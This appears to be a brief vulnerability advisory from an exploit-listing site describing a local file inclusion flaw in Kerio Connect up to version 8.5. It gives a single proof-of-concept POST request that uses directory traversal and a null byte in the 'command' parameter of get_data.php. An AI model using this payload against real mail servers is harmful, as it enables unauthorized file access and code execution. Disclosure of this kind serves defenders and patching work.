kerio Connect <= 8.5 - Local File Inclusion Vulnerability

2015.06.02
Credit: b4dboy
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

SUBJECT: kerio Connect <= 8.5 - Local File Inclusion Vulnerability DATE(S) ISSUED: 20/05/2015 DISCOVERER: b4dboy OVERIEW: Local File Inclusion Vulnerability have been discovered in kerio connect. exploitation of these vulnerabilities could allow a remote attacker Arbitrary Code Execution. SYSTEMS AFFECTED: Kerio Connect <= 8.5 SEVERITY LEVEL: Very High TESTED: POST https://connect.demo.kerio.com/webmail/get_data.php command=../../../store/tmp/upload/admin-en@demo.kerio.com/6f94c22ad0/efc91192%00


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top